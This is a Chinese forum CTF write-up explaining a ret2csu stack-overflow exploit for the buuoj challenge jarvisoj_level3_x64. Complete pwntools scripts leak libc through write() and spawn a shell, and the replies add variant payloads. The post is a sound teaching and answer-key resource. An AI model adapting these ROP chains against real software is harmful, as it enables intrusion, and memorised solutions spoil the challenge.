吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1692|回复: 3
收起左侧

[CTF] [ret2csu]jarvisoj_level3_x64

[复制链接]
bnuzgn 发表于 2023-7-29 21:08
本帖最后由 bnuzgn 于 2023-7-30 23:13 编辑

题目来源:buuoj

参考链接:
  • (主):https://niceseven.github.io/post/2020/04/14/buuctf-pwn-jarvisoj_level3_x64/
  • https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/

题目信息

64位,环境位ubuntu16,开了NX

1.png

vuln函数,可以使用栈溢出

2.png

题目中没有system和execve,也没有给出puts函数,所以需要使用write函数输出write_got,ret2libc

write函数需要三个参数,分别传入rdi,rsi,rdx中,gadget中没有rdx_ret因此无法使用。

3.png

解题思路
  • 利用ret2csu构造rdi、rsi、rdx的值
  • 计算libc基地址
  • 栈溢出getshell

前面说过64位的系统函数传参前3个参数要用到rdi、rsi、rdx,但是通过ROPgadget查找缺少了rdx。

ret2csu主要是用到如下的两个gadget,通过pop和mov控制rdi、rsi、rdx寄存器,注意0x4006a1-0x4006a4这里有个比较rbx和rbp是否相同然后执行jne跳转的指令段,所以在执行gadget1要构造rbx=0,rbp=1,才不会进入哪个循环的跳转,通过gadget1中的pop r12和0x400699的call r12+rbx*8来控制我们想执行的函数,本题要执行 write来leak所以我们传入r12的值为write_got,这里传入plt好像执行不了具体原因还不清楚,为了满足call r12所以需要rbx=0,这样r12+rbx*8=r12=write_got => call write_got,参数1传入r15,参数2传入r14,参数3传入r13,这样在执行gadget2之后就会使参数1到3分别mov到rdi、rsi、rdx,也就是64位程序的前3个参数传参顺序。

4.png

在构造leak的payload时候需要0x38的数据填充,是因为我们先执行的gadget1,再执行gadget2,但是从gadget1跳转到gadget2后又会执行一遍gadget1,此时gadget1中的这些寄存器是不需要的,所以从0x4006a6到0x4006b2之间栈顶移动的7个机器字长,即6*0x8=0x38,,所以需要填充0x38覆盖这里的栈空间,然后覆盖到0x4006b4的ret来使函数返回到vulnerable_function(),从而再执行一遍read来进行栈溢出getshell。

5.png

IDA中也可以看栈指针来计算空间大小0x38-0x0=0x38

WP

[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"

pc = "./level3_x64"

if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",27598)
        elf = ELF(pc)
        libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

csu_end_ret = 0x00000000004006AA
csu_front_call = 0x0000000000400690
write_got_addr = elf.got['write']
write_plt_addr = elf.plt['write']
main_addr = elf.symbols['vulnerable_function']
rdi_ret_addr = 0x00000000004006b3

csu_payload = p64(0) + p64(1) + p64(write_got_addr) + p64(8) +  p64(write_got_addr) + p64(1)
payload = b'a'* (0x80+8) + p64(csu_end_ret) + csu_payload + p64(csu_front_call) + b'a'*0x38 + p64(main_addr)
sla('Input:\n',payload)
write_addr = u64(r.recv(6).ljust(8,b'\x00'))
lg('write_addr')

libc_base = write_addr - libc.sym['write']
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.sym["system"]

payload = b'a'* (0x80+8) + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
sla('Input:\n',payload)
ti()

免费评分

参与人数 3威望 +1 吾爱币 +22 热心值 +3 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
shenqi88 + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

RavenBlaze 发表于 2024-6-29 01:44
本帖最后由 RavenBlaze 于 2024-6-29 02:41 编辑

[Python] 纯文本查看 复制代码
from pwn import *
from LibcSearcher import LibcSearcher

p = remote("node5.buuoj.cn", 12345)
elf = ELF("./level3_x64")
context(arch='i386', os='linux', log_level='debug')

vulnerable_function = 0x4005E6
write_got = elf.got['write']
csu_pop = 0x00000000004006AA
csu = 0x0000000000400690
pop_rdi = 0x00000000004006b3

p.recvuntil(b"Input:\n")
# write(fd, buf, n);
payload = 0x88 * b"a" + p64(csu_pop) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(
    csu) + 7 * p64(0) + p64(vulnerable_function)

p.sendline(payload)

write_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher("write", write_addr)
offset = write_addr - libc.dump("write")

bin_sh_addr = offset + libc.dump("str_bin_sh")
system_addr = offset + libc.dump('system')

payload = 0x88 * b"a" + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
p.sendlineafter(b"Input:\n", payload)

p.interactive()
RavenBlaze 发表于 2024-6-29 01:59
RavenBlaze 发表于 2024-6-29 02:09
本帖最后由 RavenBlaze 于 2024-6-29 02:40 编辑

还有一种很神奇的payload

payload1 = payload + p64(rdi_add) + p64(0x1) + p64(rsir15_add) + p64(write_got) + 'deadbeef' + p64(write_plt) + p64(vul_add)
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-23 05:26

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表